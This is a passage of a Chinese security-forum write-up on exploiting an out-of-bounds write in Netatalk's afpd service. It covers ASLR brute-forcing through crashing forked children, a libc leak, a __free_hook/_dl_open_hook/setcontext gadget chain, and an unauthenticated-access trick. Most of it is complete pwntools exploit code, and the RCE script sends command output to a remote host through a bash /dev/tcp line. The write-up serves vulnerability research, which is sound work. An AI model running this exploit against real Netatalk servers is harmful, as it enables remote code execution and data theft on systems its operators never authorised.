    NULL, NULL, NULL, NULL,                    /* 120 - 127 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 128 - 135 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 136 - 143 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 144 - 151 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 152 - 159 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 160 - 167 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 168 - 175 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 176 - 183 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 184 - 191 */
    afp_addicon, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 192 - 199 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 200 - 207 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 208 - 215 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 216 - 223 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 224 - 231 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 232 - 239 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 240 - 247 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 248 - 255 */
};

漏洞利用分析

bingo,我们已经将两条主线分析完毕,也从中点出了漏洞点以及可能的利用方式,那么我们这一小节将根据我们的代码分析、漏洞点分析,讨论可能的利用思路和方式。具体的,我们会讨论越界写漏洞导致潜在任意地址写如何得以实现,即将潜在的变为真正的;我们将讨论任意地址写得以实现后,将详细分析如何RCE,简单的提一下如何进行未授权访问postauth_switch中的函数。

0x00 任意地址写

我们可以在第一次发送DSI数据包时,触发越界写,劫持commands指针,那么我们如何得以让commands指针写入我们希望的地址呢?在未开启ASLR时,这并不难,但现在我们开启了ASLR,我们没办法确定任意一个模块的base adress。这时我们不妨先,先看一看内存布局。尽管程序开启了ASLR,但是我们每次处理我们连接的是fork出来的子进程,而子进程的虚拟进程空间的内存布局与父进程是一致的,也就是说每次fork出来的子进程其地址在父进程生命周期内都是固定的。

注5:gdb附加容器进程进行调试请使用如下命令
sudo gdb -q -p `pgrep -n afp` --ex "set follow-fork-mode child"

 

如图3,通过观察,我们可以得知ASLR的Randomization主要是 0x00 00 7f ?? ?? ?? ?0 00,这样的随机化规律。那么,我们可以通过不断的写commands指针的地址试,逐个试探??,观察子进程是否crash。若commands指针地址不可写,那么后续读commands指针数据的操作将触发非法内存访问导致进程crash,无法响应我们的请求。也就是说,如果我们发的包修改的commands指针地址合法,我们会收到响应的数据包,如果没有那么就意味着我们写的commands指针地址非法。首先,commands指针原始的地址肯定是合法的、可写的。我们可以选择从0x00 00 7f ?? ?? ?? ?0 00的高字节逐字节往低试探(即上诉格式的从左往右消除问号),每当我们收到响应包时,我们便确定了一个??,转之继续往下一个??试探,直至确定一个合法的可写地址。当我们确定一个合法的地址时,有什么用呢?ELF模块之间的相对位置通常是固定的,例如afpd永远是第一个加载的模块。由此当我们在内存中确定一个可写内存的位置时,其相对于其他模块、地址的偏移也是相对固定的,差也不会差太多。我们可以这样来爆破,我们从高地址开始逐渐向低地址爆破,然后每一个字节爆破的值从255->0开始,那么我们拿到的地址,几乎可以肯定的说落在地址最高的ELF模块中。同理,从低字节开始往高字节写,从0->255开始,把7f也当作??试探,几乎可以肯定你会得到一个落在afpd模块中的可读可写地址。由于后面我给出的Exploit是通过泄露libc,劫持__free_hook指针进行内存布局并RCE的。所以我的泄露地址思路是尽量泄露一个离libc近的地址,因为图5中libc地址足够高,因此我也选择泄露一个高地址。代码如下:该代码泄露出来的地址,落在最高的模块中。并且出于简单考虑,在这个形式中的泄露格式0x00 00 7f ?? ?? ?? ?0 00,我把最后两个字节默认抹除为0了,也即只需要泄露三个字节,并且我们泄露出来的地址是0x1000对齐的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
'''
dsi_header结构:
    flags: 1 byte
    command: 1 byte
    request_id: 2 bytes
    error_code: 4 bytes
    dsi_data_len: 4 bytes
    reserved: 4 bytes
    dsi_data: dsi_data_len bytes
'''
def create_dsi_header(command : bytes, dsi_data):
    dsi_header = b'\x00' # flags
    dsi_header += command # command
    dsi_header += b'\x01\x00' #request_id
    dsi_header += b'\x00\x00\x00\x00' # error code
    dsi_header += p32(len(dsi_data), endian='big') # Total data length--> sizeof(payload) or sizeof(dsi_data)
    dsi_header += p32(0) # reserved
    dsi_header += dsi_data # payload or dsi_data
    return dsi_header
 
'''
dsi_data:
    code: 1 byte
    size: 1 byte
    data: size bytes
'''
# dsi_data = code:1byte + size:1byte + data:size bytes
def create_dsi_data(code : bytes,  data : bytes):
    dsi_data = code # code :1 byte
    dsi_data += p8(len(data)) # size: 1 byte
    assert len(data)  < 255
    dsi_data += data # data: size bytes
    return dsi_data
 
def leak_address():
    leak_addr = b"" # 0x00 00 7f ?? ?? ?? 00 00 00
    flags = p32(0x11223344, endian='big')
    for _ in range(3):
        for i in range(255, -1, -1):
            data = p32(0) + p32(0) + flags[::-1] + p32(0) # 覆盖 attn_quantum, datasize, server_quantum, serverID & clientID
            data += b"\x00\x00" + leak_addr + i.to_bytes(1, byteorder='little')
            dsi_data = create_dsi_data(b'\x01', data)
            dsi_header = create_dsi_header(b'\x04', dsi_data)
 
            io = remote(ip, port)
            io.send(dsi_header)
            try:
                res = io.recv()
                if flags in res:
                    leak_addr += i.to_bytes(1, byteorder='little')
                    io.close()
                    break
            except:
                io.close()
    return int.from_bytes(b"\x00\x00" + leak_addr + b"\x7f\x00\x00", byteorder='little')

图片描述
那么我们既然泄露出了一个可读可写的地址,如果我想写libc中的一些数据怎么办?或者我想写afpd中的一些数据结构怎么办?那么自然需要泄露对应的基地址。以libc写为例子,我给出的代码泄露出来的地址要么是位于ld-2.27.so中,要么是位于其下方的mmap内存中,我们可以大概的估算一下我们泄露的地址与libc之间的距离,一大步的靠近,然后一路小跑抵达libc基地址。例如我这里算出来的一大步是0x18040000~0x1880000这个区间,我们从直接一大步跨过0x18040000,然后以0x1000一小步一小步的跑向libc。afpd同理,甚至更加简单。

0x01 RCE

好了,现在我们解决了任意地址写的问题,那么我们来考虑如何进行RCE。泄露了libc以及可以任意地址写,那么常规的思路就是劫持函数指针获得控制流。注意下面的讲解一开始你可能有点困惑,但请看到这以小节的最后你再读一遍就会明白了。由三个gadgets可以完成这个思路。具体的,先看这一段gadgets,setcontext + 53(图4,红框)。我们可以看见只要我们能够控制rdi寄存器,那么我们就能控制几乎所有的寄存器,包括rsp和rip,也就是说我们就达成了劫持控制流、控制了几乎所有寄存器。这一段gadgets其实就是在进行SROP中 signal frame的构建,此时rdi相对于指向就是signal frame的顶部。因此,我们可以通过pwntools中的SigreturnFrame方便的控制这段代码对寄存器的赋值,只要我们可以控制rdi。
![image.png] 图片描述
为了控制rdi,我们需要另外两个gadgets。一个是__libc_dlopen_mode + 56,一个是fgetpos64+207,分别如图5、图6所示。

 

图片描述
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// __libc_dlopen_mode + 56
mov rax, cs:dl_open_hook
call qword ptr [rax]
        
// fgetpos64 +207
mov rdi, rax
call qword ptr [rax + 20h]
        
// setcontext + 56
mov     rsp, [rdi+0A0h]
mov     rbx, [rdi+80h]
mov     rbp, [rdi+78h]
mov     r12, [rdi+48h]
mov     r13, [rdi+50h]
mov     r14, [rdi+58h]
mov     r15, [rdi+60h]
mov     rcx, [rdi+0A8h]
push    rcx
mov     rsi, [rdi+70h]
mov     rdx, [rdi+88h]
mov     rcx, [rdi+98h]
mov     r8, [rdi+28h]
mov     r9, [rdi+30h]
mov     rdi, [rdi+68h]
xor     eax, eax
retn

那么我如何控制dl_open_hook呢?在libc2.27中,_dl_open_hook地址比free_hook大约高0x2b00左右(不同版本编译器编译出来的libc2.27可能略有差别,但总体大约再0x2b00左右)。距离这么远,我们可以覆盖到吗?答案是,可以。(在Netatalk的代码分析小节的注3部分,我们讨论了一次性可以最多写入多大的数据)简言之,我们将commands指针覆盖至free_hook的地址处,随后根据三条gadgets的调用链,依次往后布局内存,使得我们最终能够控制rdi,进而控制程序流以及几乎所有寄存器,完成RCE。
图片描述

0x02 未授权访问

未授权访问的核心是泄露afpd的基地址,然后获取其中的三个关键数据结构preauth_switchpostauth_switchafp_switch,再通过任意地址写将afp_switch变量的值写成postauth_switch,即可进行未授权访问。!
图片描述

 

图9-afpd中postauth_switch的位置

Exploit for RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
import os
import sys
context(os = 'linux', arch='amd64')
context.terminal = ['tmux', 'sp', '-h']
libc = ELF("./libc-2.27.so")
 
ip = os.popen('ifconfig ens33 | grep "inet " ').read().split()[1] # ['inet', '192.168.220.130', 'netmask', '255.255.255.0', 'broadcast', '192.168.220.255'][1]
port = 548
 
'''
dsi_header结构:
    flags: 1 byte
    command: 1 byte
    request_id: 2 bytes
    error_code: 4 bytes
    dsi_data_len: 4 bytes
    reserved: 4 bytes
    dsi_data: dsi_data_len bytes
'''
def create_dsi_header(command : bytes, dsi_data):
    dsi_header = b'\x00' # flags
    dsi_header += command # command
    dsi_header += b'\x01\x00' #request_id
    dsi_header += b'\x00\x00\x00\x00' # error code
    dsi_header += p32(len(dsi_data), endian='big') # Total data length--> sizeof(payload) or sizeof(dsi_data)
    dsi_header += p32(0) # reserved
    dsi_header += dsi_data # payload or dsi_data
    return dsi_header
 
'''
dsi_data:
    code: 1 byte
    size: 1 byte
    data: size bytes
'''
# dsi_data = code:1byte + size:1byte + data:size bytes
def create_dsi_data(code : bytes,  data : bytes):
    dsi_data = code # code :1 byte
    dsi_data += p8(len(data)) # size: 1 byte
    assert len(data)  < 255
    dsi_data += data # data: size bytes
    return dsi_data
 
 
    # 1. 劫持__free_hook指针,需要泄露libc.
    # 利用越界写覆盖command指针,观察是否cransh获得一个可写的地址
def leak_address():
    leak_addr = b"" # 0x00 00 7f ?? ?? ?? 00 00 00
    flags = p32(0x11223344, endian='big')
    for _ in range(3):
        for i in range(255, -1, -1):
            data = p32(0) + p32(0) + flags[::-1] + p32(0) # 覆盖 attn_quantum, datasize, server_quantum, serverID & clientID
            data += b"\x00\x00" + leak_addr + i.to_bytes(1, byteorder='little')
            dsi_data = create_dsi_data(b'\x01', data)
            dsi_header = create_dsi_header(b'\x04', dsi_data)
 
            io = remote(ip, port)
            io.send(dsi_header)
            try:
                res = io.recv()
                if flags in res:
                    leak_addr += i.to_bytes(1, byteorder='little')
                    io.close()
                    break
            except:
                io.close()
    return int.from_bytes(b"\x00\x00" + leak_addr + b"\x7f\x00\x00", byteorder='little')
 
 
 
 
def main():
    if '--debug=true' in sys.argv:
        context.log_level = 'debug'
    leak_addr = leak_address()
    print(f"leak_addr = {hex(leak_addr)}") #
    pause() # 0x7f42650ec000
    input()
    leak_addr = 0x7f79e9200000
    for offset in range(0x18040000, 0x1880000, 0x1000):
        print(f"offset = {hex(offset)}")
        # offset = 0x1854000 # 范围在 [0x1840000, 0x1880000] 上下
 
        libc_base = leak_addr - offset
        system_addr = libc_base + libc.sym['system']
        __free_hook = libc_base + libc.symbols['__free_hook']
        __libc_dlopen_mode_56 = libc_base + libc.sym['__libc_dlopen_mode'] + 56
        fgetpos64_207 = libc_base + libc.sym['fgetpos64'] + 207
        setcontext_53 = libc_base + libc.sym['setcontext'] + 53
        _dl_open_hook = libc_base + libc.sym['_dl_open_hook']
 
        # 1. 覆盖commands指针为__free_hook
        io = remote(ip, port)
        data = b'a'*0x10 + p64(__free_hook)
        dsi_data = create_dsi_data(b'\x01', data)
        dsi_header = create_dsi_header(b'\x04', dsi_data)
 
        io.send(dsi_header)
 
        # 2.再次发包布局内存
        frame = SigreturnFrame()
        frame.rip = system_addr
        frame.rdi = __free_hook + 8
        frame.rsp = __free_hook
        cmd = f'bash -c "ls  > /dev/tcp/{ip}/{6666}" \x00'.encode()
 
        # payload = b''.ljust(0x10, b'\x00')
        payload = p64(__libc_dlopen_mode_56)
        payload += cmd.ljust(0x2ca0 - 8, b'\x00')
        payload += p64(_dl_open_hook + 8)
        payload += p64(fgetpos64_207)
        payload += b'a'*0x18
        payload += p64(setcontext_53)
        payload += bytes(frame)[0x28:]
 
        dsi_header = create_dsi_header(b'\x04', payload)
        io.send(dsi_header)
        io.close() # 隐式调用free,促发call __free_hook
 
 
        main()

图片描述

参考

https://gtrboy.github.io/posts/netatalk/#0x04-%E5%88%A9%E7%94%A8<br />https://xuanxuanblingbling.github.io/ctf/pwn/2021/11/06/netatalk/<br />https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172<br />https://en.wikipedia.org/wiki/Data_Stream_Interface#cite_note-2<br />https://xz.aliyun.com/t/3710


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2023-4-6 18:02 被Cx1ng编辑 ,原因:
收藏
点赞6
打赏
分享
最新回复 (1)
雪    币: 12075
活跃值: (15444)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2023-4-7 11:22
2
0
感谢分享
游客
登录 | 注册 方可回帖
返回